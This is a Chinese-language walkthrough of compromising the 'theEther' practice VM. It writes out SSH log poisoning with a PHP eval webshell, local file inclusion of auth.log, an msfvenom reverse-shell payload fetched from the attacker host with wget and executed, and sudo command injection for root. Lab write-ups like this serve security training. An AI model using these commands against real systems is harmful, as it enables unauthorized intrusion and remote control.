靶机下载地址:theEther
一、环境安装
下载好的压缩包解压后,vmware打开.vmx
打开前确保和 kali 处于同一网段
二、信息收集
确定kali 的ip:192.168.231.133
扫描一下目标靶机的ip:192.168.231.195
arp-scan -l
老样子先扫个端口
nmap -p- -A 192.168.231.195
这里看开放了 22,80 端口
既然开放了http服务那就顺便扫个目录
这里用dirsearch
kali没有自带
apt-get update
apt-get install dirsearch
直接输入这俩条命令就可以安装
dirsearch -u http://192.168.231.195
探测出 /about.php /images
先尝试访问80端口看看有什么功能点
刚开始找就发现在 ABOUT US RESEARCH 这俩个地方,看看url都是被包含的文件,看看有没有文件包含漏洞
想想开放了22ssh端口,结合文件包含,可以进行向本地ssh日志中写shell,然后本地文件包含ssh的日志文件即可getshell
三、getshell
因为扫描端口是发现是 apache 搭建的,默认ssh登陆日志为 /var/log/auth.log
先尝试把正常的登陆信息写入日志
然后直接在url中包含这个日志文件发现没什么变化
尝试用bp抓包包含这个日志
最后在响应包里发现了登陆信息的日志
那就尝试构造含有一句话木马的登陆信息
ssh '<?php eval($_GET['cmd']);phpinfo();?>'@192.168.231.195
这里用2024版的kali会报这样的错误说用户名非法
找了一些办法都没解决,只能试试2023版的kali
再次看看日志文件
发现有我们的探针文件,那就直接蚁剑连接
这里虽然上传成功但是蚁剑连接提示返回为空
那就试试msf
先生成一个木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.231.133 LPORT=9999 -f exe > shell.elf
生成的木马在家目录里
在木马位置起一个http服务用来上传到目标主机
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.231.133
set lport 9999
run
做好这些这些准备之后
木马有了,现在就是上传到目标靶机,然后执行在msf上线即可
那么怎么上传呢,刚刚我们包含了一个使用eval函数get传参的一句话木马,并且在kali上起了一个简单的http服务,既然有eval函数,那我们可以利用system()函数执行系统命令,去下载msf生成的木马
这里我们在bp上操作
/?file=/var/log/auth.log&cmd=system('wget+192.168.231.133:8000/shell.elf')%3b #下载文件
/?file=/var/log/auth.log&cmd=system('chmod+%2bx+shell.elf')%3b #给下载的文件一个执行权限
/?file=/var/log/auth.log&cmd=system('./shell.elf')%3b #执行
执行木马过后去kali上看,我们就获得了一个meterpreter会话
我们转成交互式的会话
shell
python -c 'import pty;pty.spawn("/bin/bash")'
getshell成功
四、权限提升
老规矩 sudo -l 先看看哪些程序可以执行root权限
发现可以使用sudo权限不需要密码执行xxxlogauditorxxx.py
看下该文件的内容
看内容应该是个base64编码的文件,尝试运行一下
sudo ./xxxlogauditorxxx.py
最后发现输入 /var/log/auth.log | whoami 这样可以在后面执行命令
提权成功